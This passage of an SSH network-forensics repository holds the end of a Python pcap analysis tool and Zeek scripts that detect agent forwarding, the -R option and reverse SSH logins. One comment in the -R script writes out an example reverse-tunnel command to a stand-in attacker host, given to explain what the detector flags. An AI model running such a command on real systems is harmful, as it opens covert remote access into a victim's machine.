1284 | dip = df_stream_meta.loc[row, 'dip']
1285 | dport = df_stream_meta.loc[row, 'dport']
1286 | # Prepare filenames for results
1287 | if output_dir != None:
1288 | base_file = os.path.basename(file)
1289 | output_dir = output_dir # +'/'+base_file
1290 | string_file = str('./' + output_dir + '/' + 'packet-strider-ssh ' + base_file +
1291 | ' stream ' + str(stream) + ' - Summary.txt')
1292 | out_plot_predictions = str('./' + output_dir + '/' + 'packet-strider-ssh ' + base_file +
1293 | ' stream ' + str(stream) + ' - Data Movement.png')
1294 | out_plot_keystroke_timeline = str('./' + output_dir + '/' + 'packet-strider-ssh ' + base_file +
1295 | ' stream ' + str(stream) + ' - Keystrokes.png')
1296 |
1297 | print('\n\u250F\u2501\u2501\u2501\u2501 Reporting results for stream {}'.format(stream))
1298 |
1299 | num_f_init_events = num_f_keystroke_events = 0
1300 | num_r_init_events = num_r_keystroke_events = 0
1301 | bytes_f_infiled = bytes_r_exfiled = 0
1302 | num_predict_exfiltrations = 0
1303 | predict_exfiltrations_bytes = 0
1304 | num_predict_infiltrations = 0
1305 | predict_infiltrations_bytes = 0
1306 |
1307 | for row in window_matrix:
1308 | if row[21] == 1:
1309 | num_predict_exfiltrations += 1
1310 | predict_exfiltrations_bytes = predict_exfiltrations_bytes + matrix[row[0]]
1311 |
1312 | if row[22] == 1:
1313 | num_predict_infiltrations += 1
1314 | predict_infiltrations_bytes = predict_infiltrations_bytes + matrix[row[0]]
1315 |
1316 | # Aggregate the Indicator numbers
1317 | for result in results:
1318 | # First do Forward indicators
1319 | if 'forward' in result[0]:
1320 | if 'login' in result[1] or 'key ' in result[1]:
1321 | num_f_init_events += 1
1322 | elif 'ENTER' in result[1]:
1323 | num_f_keystroke_events += 1
1324 | bytes_f_infiled = bytes_f_infiled + int(result[4])
1325 | else:
1326 | num_f_keystroke_events += 1
1327 | # Then do Reverse indicators
1328 | elif 'reverse' in result[0]:
1329 | if 'init' in result[1] or 'login' in result[1] or '-R' in result[1]:
1330 | num_r_init_events += 1
1331 | elif 'ENTER' in result[1]:
1332 | num_r_keystroke_events += 1
1333 | bytes_r_exfiled = bytes_r_exfiled + int(result[4])
1334 | else:
1335 | num_r_keystroke_events += 1
1336 | # TODO simplify this block of reporting code
1337 | print('\u2503')
1338 | print('\u2503 Stream \033[0;33;40m{}\033[0m of pcap \'{}\''.format(stream, file))
1339 | print('\u2503 {} packets in total, first at {}'.format(num_packets, time_first_packet_gmt))
1340 | print('\u2503 \033[0;36;40m{}:{}\033[0m -> \033[0;31;40m {}:{}\033[0m'.format(sip, sport, dip, dport))
1341 | print('\u2503 Client Proto : \033[0;33;40m{}\033[0m'.format(client_protocol))
1342 | print('\u2503 hassh : \033[0;33;40m{}\033[0m'.format(hassh))
1343 | print('\u2503 Server Proto : \033[0;33;40m{}\033[0m'.format(server_protocol))
1344 | print('\u2503 hasshServer : \033[0;33;40m{}\033[0m'.format(hassh_server))
1345 | print('\u2503 Summary of findings:')
1346 | if (do_direction == 'forward' or do_direction == 'both') and not meta_only:
1347 | if num_f_init_events > 0:
1348 | print('\u2503 \033[0;36;40m {} Forward SSH login/init events\033[0m'.format(num_f_init_events))
1349 | if num_f_keystroke_events > 0:
1350 | print('\u2503 \033[0;36;40m {} Forward keystroke related events\033[0m'.
1351 | format(num_f_keystroke_events))
1352 | # TODO fix this, calculate aggregate and report on this rather than separate techniques.
1353 | # if bytes_f_infiled > 0:
1354 | # print('\u2503 \033[0;36;40m Estimated {} Bytes infiled\033[0m'.format(bytes_f_infiled))
1355 |
1356 | if (do_direction == 'reverse' or do_direction == 'both') and not meta_only:
1357 | if num_r_init_events > 0:
1358 | print('\u2503 \033[1;31;40m {} Reverse SSH login/init events\033[0m'.format(num_r_init_events))
1359 | if num_r_keystroke_events > 0:
1360 | print('\u2503 \033[1;31;40m {} Reverse keystroke related events\033[0m'.
1361 | format(num_r_keystroke_events))
1362 | # TODO fix this, calculate aggregate and report on this rather than separate techniques.
1363 | #if bytes_r_exfiled > 0:
1364 | # print('\u2503 \033[1;31;40m Estimated {} Bytes exfiled\033[0m'.format(bytes_r_exfiled))
1365 |
1366 | # if num_predict_exfiltrations > 0 and not meta_only:
1367 | # print('\u2503\033[0;2;40m {} POSITIVE outbound exfiltation predictions from Window modeling ({} MB - lower bound)\033[0m'.
1368 | # format(num_predict_exfiltrations, round((abs(predict_exfiltrations_bytes) / 1024 / 1024), 3)))
1369 | # if num_predict_infiltrations > 0 and not meta_only:
1370 | # print('\u2503\033[0;2;40m {} POSITIVE inbound transfer predictions from Window modeling ({} MB - lower bound)\033[0m'
1371 | # .format(num_predict_infiltrations, round((abs(predict_infiltrations_bytes) / 1024 / 1024), 3)))
1372 | if results:
1373 | pretty_print(results)
1374 | if window_matrix and not meta_only and do_plots:
1375 | zleft, zright = zooms(zoom, num_packets)
1376 | if len(matrix) > 10:
1377 | print('\u2503 Plotting packets {}-{} size histogram to \'{}\''.format(zleft, zright,
1378 | out_plot_predictions))
1379 |
1380 | plot_packet_size_histogram(stream, matrix, output_dir, base_file, zleft, zright)
1381 |
1382 | print('\u2503 Plotting packets {}-{} Data Movement predictions to \'{}\''.format(zleft, zright,
1383 | out_plot_predictions))
1384 |
1385 | plot_window_stat_predictions(stream, window_matrix, window, stride, file, out_plot_predictions, zleft, zright)
1386 | if results:
1387 | print('\u2503 Plotting packets {}-{} keystroke timeline to \'{}\''.format(zleft, zright,
1388 | out_plot_keystroke_timeline))
1389 |
1390 | # Now plot the keystroke timeline
1391 | plot_keystroke_timeline(stream, results, window_matrix, file, out_plot_keystroke_timeline,
1392 | df_stream_meta, zleft, zright)
1393 | else:
1394 | print('\u2503 No keystrokes found')
1395 |
1396 | print('\u2503')
1397 | print('\u2517\u2501\u2501\u2501\u2501 End of Analysis for stream {}'.format(stream))
1398 |
1399 |
1400 | def pretty_print(results):
1401 | """Prints colorized table of results to terminal"""
1402 |
1403 | print('\u2503 Detailed Events:')
1404 | print('\u2503 packet time(s) delta(s) Direction Indicator Bytes Notes')
1405 | print('\u2503 -----------------------------------------------------------------------')
1406 | for result in results:
1407 | # print(result)
1408 | if result[0] == 'forward':
1409 | print('\u2503 \033[1;36;40m{:<10}{:<10}{:<10}{:<10}{:^10}{:^10}{:^10}\033[0m'.
1410 | format(result[3], round(result[6], 3), round(result[7], 3), result[0], result[1], result[4], result[8]))
1411 | elif result[0] == 'reverse':
1412 | print('\u2503 \033[1;31;40m{:<10}{:<10}{:<10}{:<10}{:^10}{:^10}{:^10}\033[0m'.
1413 | format(result[3], round(result[6], 3), round(result[7], 3), result[0], result[1], result[4], result[8]))
1414 | else:
1415 | print('\u2503 {:<10}{:<10}{:<10}{:<10}{:^10}{:^10}{:^10}'.
1416 | format(result[3], round(result[6], 3), round(result[7], 3), result[0], result[1], result[4], result[8]))
1417 | print('\u2503')
1418 |
1419 |
1420 | def get_streams(fullpcap):
1421 | """ Walks through fullpcap and makes a list (streams) of streams within
1422 | """
1423 | streams = []
1424 | for packet in fullpcap:
1425 | stream = int(packet.tcp.stream)
1426 | if stream not in streams:
1427 | print(' ...found stream {}'.format(stream))
1428 | streams.append(stream)
1429 | fullpcap.close()
1430 | return streams
1431 |
1432 |
1433 | def main():
1434 | """packet-strider-ssh is a packet forensics tool for SSH.
1435 | It creates a rich feature set from packet metadata such SSH Protocol message content, direction, size, latency and sequencing.
1436 | It performs pattern matching on these features, using statistical analysis, and sliding windows to predict session initiation,
1437 | keystrokes, human/script behaviour, password length, use of client certificates,
1438 | context into the historic nature of client/server contact and exfil/infil data movement characteristics
1439 | in both Forward and Reverse sessions"""
1440 |
1441 | command_args = parse_command_args()
1442 |
1443 | if command_args.file:
1444 | file = command_args.file
1445 | base_file = os.path.basename(file)
1446 | output_dir = command_args.output_dir
1447 | only_stream = command_args.nstream
1448 | window = int(command_args.window)
1449 | stride = int(command_args.stride)
1450 | keystrokes = command_args.keystrokes
1451 | do_direction = command_args.direction
1452 | meta_only = command_args.metaonly
1453 | do_windowing_and_plots = command_args.predict_plot
1454 | zoom = command_args.zoom
1455 | if output_dir != None:
1456 | # print('output_dir=_{}_'.format(output_dir))
1457 | # TODO Can remove this later, is just to clean dir for debugging
1458 | # shutil.rmtree(output_dir)
1459 | if output_dir and not os.path.exists(output_dir):
1460 | os.makedirs(output_dir)
1461 | else:
1462 | print('no output directory')
1463 | print('\n... Loading full pcap : {}'.format(file))
1464 | if only_stream >= 0:
1465 | string = 'ssh && !tcp.analysis.spurious_retransmission && !tcp.analysis.retransmission && !tcp.analysis.fast_retransmission && tcp.stream==' + str(
1466 | only_stream)
1467 | try:
1468 | fullpcap = pyshark.FileCapture(file, display_filter=string)
1469 | # TODO is this needed at all ? This was a test access to the data, to ensure that an exception occurs if the data is empty
1470 | # fullpcap[0]
1471 | streams = [only_stream]
1472 | except:
1473 | print('There is no stream {} in {}, try another'.format(only_stream, file))
1474 | streams = []
1475 | # fullpcap.close()
1476 | else:
1477 | fullpcap = pyshark.FileCapture(file, display_filter='ssh && !tcp.analysis.spurious_retransmission && \
1478 | !tcp.analysis.retransmission && \
1479 | !tcp.analysis.fast_retransmission')
1480 | print('... Getting streams from pcap:')
1481 | streams = get_streams(fullpcap)
1482 |
1483 | for stream in streams:
1484 | string = 'ssh && !tcp.analysis.spurious_retransmission && !tcp.analysis.retransmission && !tcp.analysis.fast_retransmission && tcp.stream== ' + str(
1485 | stream)
1486 | try:
1487 | print('... Loading stream {}'.format(stream))
1488 | pcap = pyshark.FileCapture(file, display_filter=string)
1489 | pcap.load_packets()
1490 | num_packets = len(pcap)
1491 | if num_packets > 10:
1492 |
1493 | print('... Finding meta')
1494 | meta_size = find_meta_size(pcap, num_packets, stream)
1495 | df_meta_size = pd.DataFrame([meta_size], columns=[
1496 | 'stream', 'Reverse keystoke size', 'size_newkeys_next', 'size_newkeys_next2',
1497 | 'size_newkeys_next3', 'size_login_prompt'])
1498 |
1499 | print('... Finding hassh elements')
1500 | meta_hassh = find_meta_hassh(pcap, num_packets, stream)
1501 | df_meta_hassh = pd.DataFrame([meta_hassh], columns=[
1502 | 'stream', 'Client Proto', 'hassh', 'Server Proto', 'hassh_server',
1503 | 'sip', 'sport', 'dip', 'dport'])
1504 |
1505 | if len(df_meta_hassh) > 0 and len(df_meta_size) > 0:
1506 | df_stream_meta = df_meta_size.merge(df_meta_hassh, left_on='stream', right_on='stream')
1507 | else:
1508 | df_stream_meta = []
1509 |
1510 | if meta_only:
1511 | matrix = []
1512 | window_matrix = []
1513 | results = []
1514 | else:
1515 | print('... Building size matrix')
1516 | # Note this returns the raw, unordered matrix
1517 | matrix = construct_matrix(pcap)
1518 | # Note the matrix is reordered inside the anaylze function to account for any of order
1519 | # keystroke packets Hence appearing on both side of the function call
1520 | results, window_matrix, matrix = analyze(matrix, meta_size, pcap, window, stride, do_direction,
1521 | do_windowing_and_plots, keystrokes, meta_hassh)
1522 | time_first_packet = float(pcap[0].sniff_timestamp)
1523 | time_first_packet_gmt = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime(time_first_packet))
1524 | pcap.close()
1525 | report(results, file, matrix, window_matrix, window, stride, output_dir, df_stream_meta,
1526 | do_direction, meta_only, do_windowing_and_plots, time_first_packet_gmt, num_packets, zoom)
1527 | else:
1528 | print(' ... < 10 packets in stream {}, quiting this stream'.format(stream))
1529 | except Exception as error:
1530 | print('Error: ({})'.format(error))
1531 | print("\n... packet-strider-ssh complete\n")
1532 |
1533 |
1534 | if __name__ == '__main__':
1535 | main()
1536 |
--------------------------------------------------------------------------------
/zeek/README.md:
--------------------------------------------------------------------------------
1 | # Zeek implimenations
2 | This is a small collection of Zeek scripts containing logic ported from the original Python implementation.
3 |
4 | ## Agent Forwarding, the -A option
5 | The use of the -A option (SSH Agent Forwarding), which enables the client to share it's local SSH private keys with the server is generally considered dangerous - it has been the root of incidents and vulnerabilities.
6 | References:
7 | https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
8 | https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/
9 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
10 | https://developer.github.com/v3/guides/using-ssh-agent-forwarding/
11 |
12 | ## -R Option
13 | The use -R option in the forward session - this is what *enables* a Reverse connection to be made later in the session. This artefact is discovered very early in the session, directly after the the forward session is authenticated. This is the first available warning sign that Reverse sessions are possible.
14 |
15 | ## Reverse session initiation
16 | Initiation of the Reverse SSH session, this can occur at any point (early, or late) in the forward session. This is discovered prior to the Reverse session being authenticated successfully. This is the second warning sign, in that a reverse session has just been requested and setup for authentication.
17 |
18 | ## Reverse session Success
19 | Success and/or Failure of the Reverse session authentication. TODO bundle these 2 scripts into one.
20 | This is the third and final warning sign, after this point you know someone is on your host, inside a reverse session. For richer visibibilty you can now use the main Python script in this package to explore the nature of activity (eg keystrokes and exfiltration) conducted within the Reverse session.
21 |
--------------------------------------------------------------------------------
/zeek/packetSrider_AgentForwarding.zeek:
--------------------------------------------------------------------------------
1 | # __author__ = 'Ben Reardon'
2 | # __contact__ = 'benjeems@gmail.com @benreardon'
3 | # __version__ = '0.2'
4 | # __license__ = 'GNU General Public License v3.0'
5 | # packetSrider_AgentForwarding
6 | # This is a port of the pattern logic within the packetStrider
7 | # function "scan_for_forward_AgentForwarding"
8 | # https://github.com/benjeems/packetStrider/blob/master/python/packetStrider-ssh.py
9 | # This is a zeek script that looks for specific patterns in the size and
10 | # sequence of packets that are unique to cases where the Agent Forwarding is configured
11 | # example https://developer.github.com/v3/guides/using-ssh-agent-forwarding/
12 | # Logic from python script has been ported to zeek
13 |
14 | redef SSH::disable_analyzer_after_detection = F;
15 | # Strike represents a counter, the game starts at srike 0 and a match is made when strike = 5
16 | global strike = 0;
17 | global index = 1;
18 | global has_been_found = 0;
19 | global client_protocol_string = "";
20 |
21 | redef enum Notice::Type += {
22 | SSH_F_ForwardAgent
23 | };
24 |
25 | event ssh_client_version(c: connection, version: string) {
26 | client_protocol_string = to_lower(version);
27 | }
28 |
29 |
30 | event ssh_encrypted_packet(c:connection, orig:bool, len:count)
31 | {
32 | #print fmt("!!!strike = %d len = %d", strike, len); print(" ");
33 | if (has_been_found == 1 || index > 40) {
34 | # print fmt("BAILING : has_been_found = %d index = %d", has_been_found, index); print(" ");
35 | return;
36 | }
37 |
38 | # Only start looking after packet 7 , approx location of new keys packet. TODO properly
39 | if (index < 8) {
40 | index = index + 1;
41 | return;
42 | }
43 | # Tell tale packet is always surrounded by 2 Server packets before and 2 Server packets after
44 | # Use these 4 server packets to ensure no FPs
45 |
46 | # Server packet
47 | if (strike == 0 && orig == F) {
48 | strike = 1;
49 | index = index + 1;
50 | #print fmt("strike = %d orig = %s len = %d", strike, orig, len); print(" ");
51 | return;
52 | }
53 |
54 | # Server packet
55 | if (strike == 1 && orig == F) {
56 | strike = 2;
57 | index = index + 1;
58 | #print fmt("strike = %d orig = %s len = %d", strike, orig, len); print(" ");
59 | return;
60 | }
61 |
62 | # Now look for the tell-tale packet found in testing.
63 | # testing shows (with openssh) client packet < 500 == no forwarding, > 500 == forwarding.
64 | # testing shows (with Putty) client packet 176 (< 200) == no forwarding, 256 (> 200) == forwarding.
65 | if (strike == 2 && orig == T && 500 < len && len < 650 && "putty" !in client_protocol_string) {
66 | strike = 3;
67 | index = index + 1;
68 | #print fmt("strike = %d orig = %s len = %d", strike, orig, len); print(" ");
69 | return;
70 | }
71 | if (strike == 2 && orig == T && 200 < len && len < 650 && "putty" in client_protocol_string) {
72 | strike = 3;
73 | index = index + 1;
74 | #print fmt("strike = %d orig = %s len = %d", strike, orig, len); print(" ");
75 | return;
76 | }
77 |
78 | # Server packet
79 | if (strike == 3 && orig == F) {
80 | strike = 4;
81 | index = index + 1;
82 | #print fmt("strike = %d len = %d", strike, len); print(" ");
83 | return;
84 | }
85 |
86 | # The final Server packet
87 | if (strike == 4 && orig == F) {
88 | strike = 5;
89 | #print fmt("strike = %d orig = %s len = %d", strike, orig, len); print(" ");
90 | #print fmt("###### Found Agent Forwarding");
91 | NOTICE([$note=SSH_F_ForwardAgent,
92 | $msg = fmt("Agent Forwarding is in use (-A option). Client %s has requested to share it's private SSH key with Server %s",c$id$orig_h,c$id$resp_h),
93 | $sub = fmt("Agent Forwarding is in use")]);
94 | has_been_found = 1;
95 | return;
96 | }
97 |
98 | # If none of the above matches were made, the run is over and we must strike back to zero.
99 | # print fmt("setting strike to zero");
100 | strike = 0;
101 | index = index + 1;
102 |
103 | }
104 |
--------------------------------------------------------------------------------
/zeek/packetSrider_R_option.zeek:
--------------------------------------------------------------------------------
1 | # __author__ = 'Ben Reardon'
2 | # __contact__ = 'benjeems@gmail.com @benreardon'
3 | # __version__ = '0.1'
4 | # __license__ = 'GNU General Public License v3.0'
5 | # packetSrider_R_option.zeek
6 | # This is a port of the pattern logic within the packetStrider
7 | # function "scan_for_reverse_session_R_option"
8 | # https://github.com/benjeems/packetStrider/blob/master/python/packetStrider-ssh.py
9 | # This is a zeek script that looks for specific patterns in the size and
10 | # sequence of packets that are unique to cases where the -R
11 | # option is present in the commandline of the forward session.
12 | # An example of a forward commandline that would trigger
13 | # this script would be when this is run on the victim host :
14 | # `ssh attacker@attacker.com -R 31337:localhost:22`
15 | # This -R option is required to support a reverse SSH session
16 | # from attacker back to the victim at a later stage.
17 | # Logic from python script has been ported to zeek
18 |
19 | redef SSH::disable_analyzer_after_detection = F;
20 | global base = 0;
21 | global index = 0;
22 | global packet_count = 0;
23 | global len_base_4 = 0;
24 | global login_prompt_size = 0;
25 | global reverseType = 0;
26 | global R_has_been_found = 0;
27 |
28 | redef enum Notice::Type += {
29 | SSH_R_Reverse
30 | };
31 |
32 | event ssh_encrypted_packet(c:connection, orig:bool, len:count)
33 | {
34 |
35 | if (R_has_been_found == 1 || index > 50) {
36 | break;
37 | }
38 |
39 | # The forth packet (index = 3) is the size of the servers login prompt.
40 | # This is important to know when failed attempts occur, as a packet of this size
41 | # replays directly after a failed Client auth packet.
42 | if (index == 3 && orig == F && !login_prompt_size) {
43 | login_prompt_size = len;
44 | #print fmt("Found login prompt size of %d", login_prompt_size); print(" ");
45 | base = 1;
46 | index += 1;
47 | packet_count = 1;
48 | return;
49 | }
50 |
51 | # Packets relating to setting up reverse tunnels start at packet count 3 after the login prompt
52 | if (packet_count == 3 && base == 1 && orig == T) {
53 | base = 2;
54 | #print fmt("At base %d of 5", base); print(" ");
55 | packet_count = packet_count + 1;
56 | return;
57 | }
58 |
59 | # TYPE 1 check
60 | if (packet_count == 4 && base == 2 && orig == F && len != login_prompt_size) {
61 | base = 3;
62 | reverseType = 1;
63 | #print fmt("At base %d of 5", base); print(" ");
64 | packet_count = packet_count + 1;
65 | return;
66 | }
67 | if (reverseType == 1 && packet_count == 5 && base == 3 && orig == T) {
68 | base = 4;
69 | len_base_4 = len;
70 | #print fmt("At base %d of 5", base); print(" ");
71 | packet_count = packet_count + 1;
72 | return;
73 | }
74 | if (reverseType == 1 && packet_count == 6 && base == 4 && orig == F && len != login_prompt_size && len < len_base_4) {
75 | base = 5;
76 | #print fmt("At base %d of 5", base); print(" ");
77 | #print fmt("###### Found a Type 1 -R");
78 | NOTICE([$note=SSH_R_Reverse,
79 | $msg = fmt("The -R option was used by the forward connection from %s to %s. This option enables reverse SSH to occur ",c$id$orig_h,c$id$resp_h),
80 | $sub = fmt("-R option was used (type 1 detected)")]);
81 | R_has_been_found = 1;
82 | return;
83 | }
84 |
85 |
86 | # TYPE 2 check
87 | if (packet_count == 4 && base == 2 && orig == T) {
88 | base = 3;
89 | reverseType = 0;
90 | #print fmt("At base %d of 5", base); print(" ");
91 | packet_count = packet_count + 1;
92 | return;
93 | }
94 | if (reverseType == 2 && packet_count == 5 && base == 3 && orig == F && len != login_prompt_size) {
95 | base = 4;
96 | len_base_4 = len;
97 | #print fmt("At base %d of 5", base); print(" ");
98 | packet_count = packet_count + 1;
99 | return;
100 | }
101 | if (reverseType == 2 && packet_count == 6 && base == 4 && orig == F && len != login_prompt_size && len < len_base_4) {
102 | base = 5;
103 | #print fmt("###### Found a Type 2 -R");
104 | NOTICE([$note=SSH_R_Reverse,
105 | $msg = fmt("The -R option was used by the forward connection from %s to %s. This option enables reverse SSH to occur ",c$id$orig_h,c$id$resp_h),
106 | $sub = fmt("-R option was used (type 2 detected)")]);
107 | R_has_been_found = 1;
108 | return;
109 | }
110 |
111 | # If none of the above packets were seen but the size is that of login_prompt_size
112 | # A failed auth attempt must have occured, so reset the packet_count and base
113 | if (orig == F && len == login_prompt_size) {
114 | #print fmt("Found a re-login prompt size of %d", login_prompt_size);print(" ");
115 | packet_count = 1;
116 | base = 1;
117 | reverseType = 0;
118 | return;
119 | }
120 |
121 | index += 1;
122 | packet_count += 1;
123 |
124 | }
125 |
--------------------------------------------------------------------------------
/zeek/packetStrider_reverse_init.zeek:
--------------------------------------------------------------------------------
1 | # __author__ = 'Ben Reardon'
2 | # __contact__ = 'benjeems@gmail.com @benreardon'
3 | # __version__ = '0.1'
4 | # __license__ = 'GNU General Public License v3.0'
5 | #
6 | # This is a port of the pattern logic within the packetStrider
7 | # function "scan_for_reverse_session_initiation"
8 | # https://github.com/benjeems/packetStrider/blob/master/python/packetStrider-ssh.py
9 | # This is a Zeek script that looks for initiation of reverse SSH session.
10 | # This script will fire as soon as the session in 'negotiated',
11 | # i.e prior to any authentication back to the victim host.
12 | # Tested in zeek 2.6.0, 2.6.1, 2.6.3
13 |
14 |
15 | redef SSH::disable_analyzer_after_detection = F;
16 | global base = 0;
17 | global index = 0;
18 | global reverse_init_found = 0;
19 | global size_newkeys_next_found = 0;
20 | global orig_newkeys_next = F;
21 | global size_newkeys_next = 0;
22 | global len_base_2 = 1500;
23 |
24 | redef enum Notice::Type += {
25 | SSH_R_Reverse
26 | };
27 |
28 | event ssh_encrypted_packet(c:connection, orig:bool, len:count)
29 | {
30 | if (reverse_init_found == 1 && size_newkeys_next_found == 1) {
31 | return;
32 | }
33 |
34 | if (size_newkeys_next_found == 0) {
35 | if (index == 0) {
36 | orig_newkeys_next = orig;
37 | size_newkeys_next = len;
38 | index = 1;
39 | }
40 | if (index == 1) {
41 | if (orig != orig_newkeys_next && len == size_newkeys_next) {
42 | size_newkeys_next_found = 1;
43 | return;
44 | }
45 | }
46 | }
47 |
48 | if (base == 0 && orig == F && len == (size_newkeys_next + 40)) {
49 | base = 1;
50 | return;
51 | }
52 | if (base == 1 && orig == T && len == (size_newkeys_next + 40)) {
53 | base = 2;
54 | len_base_2 = len;
55 | return;
56 | }
57 | if (base == 1 && (orig == F || len != (size_newkeys_next + 40))) {
58 | base = 0;
59 | len_base_2 = 1500;
60 | return;
61 | }
62 |
63 | if (base == 2 && orig == F && len >= len_base_2) {
64 | base = 3;
65 | reverse_init_found = 1;
66 | NOTICE([$note=SSH_R_Reverse,
67 | $msg = fmt("Reverse Shell was initiated from %s to %s",c$id$resp_h,c$id$orig_h),
68 | $sub = fmt("Reverse Shell was initiated")]);
69 | return;
70 | }
71 | if (base == 2 && (orig == T || len < len_base_2)) {
72 | base = 0;
73 | return;
74 | }
75 | }
76 |
--------------------------------------------------------------------------------
/zeek/packetStrider_reverse_login_FAILED.zeek:
--------------------------------------------------------------------------------
1 | # __author__ = 'Ben Reardon'
2 | # __contact__ = 'benjeems@gmail.com @benreardon'
3 | # __version__ = '0.1'
4 | # __license__ = 'GNU General Public License v3.0'
5 | #
6 | # This is a port of the pattern logic within the packetStrider
7 | # function "scan_for_reverse_login_attempts" FAILED reverse logins
8 | # https://github.com/benjeems/packetStrider/blob/master/python/packetStrider-ssh.py
9 | # This is a Zeek script that looks for failed and successfull reverse SSH logins.
10 | # Tested in zeek 2.6.0, 2.6.1, 2.6.3
11 |
12 |
13 | redef SSH::disable_analyzer_after_detection = F;
14 | global base = 0;
15 | global index = 0;
16 | global reverse_login_found = 0;
17 | global size_newkeys_next_found = 0;
18 | global orig_newkeys_next = F;
19 | global size_newkeys_next = 0;
20 | global size_reverse_login_prompt =0;
21 |
22 |
23 | redef enum Notice::Type += {
24 | SSH_R_Reverse
25 | };
26 |
27 | event ssh_encrypted_packet(c:connection, orig:bool, len:count)
28 | {
29 | if (reverse_login_found == 1) {
30 | return;
31 | }
32 |
33 | #print fmt("%d %d %s %d", index, base, orig, len);
34 | # The forth packet (index = 3) is the size of the servers login prompt.
35 | # This is important to know when failed attempts occur, as a packet of this size
36 | # replays directly after a failed Client auth packet.
37 | if (index == 3 && orig == F && !size_reverse_login_prompt) {
38 | size_reverse_login_prompt = len + 40 + 8;
39 | #print fmt("Found size_reverse_login_prompt prompt size of %d", size_reverse_login_prompt); print(" ");
40 | index += 1;
41 | return;
42 | }
43 |
44 | if (base == 0 && orig == T && len == size_reverse_login_prompt) {
45 | base = 1;
46 | #print fmt("At base %d of 5", base); print(" ");
47 | index += 1;
48 | return;
49 | }
50 | if (base == 0 && !(orig == T && len == size_reverse_login_prompt)) {
51 | base = 0;
52 | index += 1;
53 | return;
54 | }
55 |
56 |
57 | if (base == 1 && orig == F && len > size_reverse_login_prompt) {
58 | base = 2;
59 | #print fmt("At base %d of 5", base); print(" ");
60 | index += 1;
61 | return;
62 | }
63 | if (base == 1 && !(orig == F && len > size_reverse_login_prompt)) {
64 | base = 0;
65 | index += 1;
66 | return;
67 | }
68 |
69 |
70 | if (base == 2 && (orig == T || len > size_reverse_login_prompt)) {
71 | base = 3;
72 | #print fmt("At base %d of 5", base); print(" ");
73 | index += 1;
74 | return;
75 | }
76 | if (base == 2 && !(orig == T || len > size_reverse_login_prompt)) {
77 | base = 0;
78 | index += 1;
79 | return;
80 | }
81 |
82 |
83 | if (base == 3 && orig == F && len > size_reverse_login_prompt) {
84 | base = 4;
85 | #print fmt("At base %d of 5", base); print(" ");
86 | index += 1;
87 | return;
88 | }
89 | if (base == 3 && !(orig == F && len > size_reverse_login_prompt)) {
90 | base = 0;
91 | index += 1;
92 | return;
93 | }
94 |
95 | if (base == 4 && orig == T && len == size_reverse_login_prompt) {
96 | base = 5;
97 | #print fmt("*******At base %d of 5", base); print(" ");
98 | NOTICE([$note=SSH_R_Reverse,
99 | $msg = fmt("Reverse Shell failed logon from %s to %s",c$id$orig_h,c$id$resp_h),
100 | $sub = fmt("Reverse Shell failed logon")]);
101 | reverse_login_found == 1;
102 | return;
103 | }
104 | if (base == 4 && !(orig == T && len == size_reverse_login_prompt)) {
105 | base = 0;
106 | index += 1;
107 | return;
108 | }
109 |
110 | }
111 |
--------------------------------------------------------------------------------
/zeek/packetStrider_reverse_login_SUCCESS.zeek:
--------------------------------------------------------------------------------
1 | # __author__ = 'Ben Reardon'
2 | # __contact__ = 'benjeems@gmail.com @benreardon'
3 | # __version__ = '0.1'
4 | # __license__ = 'GNU General Public License v3.0'
5 | #
6 | # This is a port of the pattern logic within the packetStrider
7 | # function "scan_for_reverse_login_attempts" SUCCESSFULL reverse logins
8 | # https://github.com/benjeems/packetStrider/blob/master/python/packetStrider-ssh.py
9 | # This is a Zeek script that looks for failed and successfull reverse SSH logins.
10 | # Tested in zeek 2.6.0, 2.6.1, 2.6.3
11 |
12 |
13 | redef SSH::disable_analyzer_after_detection = F;
14 | global base = 0;
15 | global index = 0;
16 | global reverse_login_found = 0;
17 | global size_newkeys_next_found = 0;
18 | global orig_newkeys_next = F;
19 | global size_newkeys_next = 0;
20 | global size_reverse_login_prompt =0;
21 |
22 |
23 | redef enum Notice::Type += {
24 | SSH_R_Reverse
25 | };
26 |
27 | event ssh_encrypted_packet(c:connection, orig:bool, len:count)
28 | {
29 | if (reverse_login_found == 1) {
30 | return;
31 | }
32 |
33 | #print fmt("%d %d %s %d", index, base, orig, len);
34 | # The forth packet (index = 3) is the size of the servers login prompt.
35 | # This is important to know when failed attempts occur, as a packet of this size
36 | # replays directly after a failed Client auth packet.
37 | if (index == 3 && orig == F && !size_reverse_login_prompt) {
38 | size_reverse_login_prompt = len + 40 + 8;
39 | #print fmt("Found size_reverse_login_prompt prompt size of %d", size_reverse_login_prompt); print(" ");
40 | index += 1;
41 | return;
42 | }
43 |
44 | if (base == 0 && orig == T && len == size_reverse_login_prompt) {
45 | base = 1;
46 | #print fmt("At base %d of 5", base); print(" ");
47 | index += 1;
48 | return;
49 | }
50 | if (base == 0 && !(orig == T && len == size_reverse_login_prompt)) {
51 | base = 0;
52 | index += 1;
53 | return;
54 | }
55 |
56 |
57 | if (base == 1 && orig == F && len > size_reverse_login_prompt) {
58 | base = 2;
59 | #print fmt("At base %d of 5", base); print(" ");
60 | index += 1;
61 | return;
62 | }
63 | if (base == 1 && !(orig == F && len > size_reverse_login_prompt)) {
64 | base = 0;
65 | index += 1;
66 | return;
67 | }
68 |
69 |
70 | if (base == 2 && (orig == T || len > size_reverse_login_prompt)) {
71 | base = 3;
72 | #print fmt("At base %d of 5", base); print(" ");
73 | index += 1;
74 | return;
75 | }
76 | if (base == 2 && !(orig == T || len > size_reverse_login_prompt)) {
77 | base = 0;
78 | index += 1;
79 | return;
80 | }
81 |
82 |
83 | if (base == 3 && orig == F && len > size_reverse_login_prompt) {
84 | base = 4;
85 | #print fmt("At base %d of 5", base); print(" ");
86 | index += 1;
87 | return;
88 | }
89 | if (base == 3 && !(orig == F && len > size_reverse_login_prompt)) {
90 | base = 0;
91 | index += 1;
92 | return;
93 | }
94 |
95 | if (base == 4 && orig == T && len < size_reverse_login_prompt) {
96 | base = 5;
97 | #print fmt("*******At base %d of 5", base); print(" ");
98 | NOTICE([$note=SSH_R_Reverse,
99 | $msg = fmt("Reverse Shell successfull login from %s to %s",c$id$resp_h,c$id$orig_h),
100 | $sub = fmt("Reverse Shell successfull login")]);
101 | reverse_login_found = 1;
102 | return;
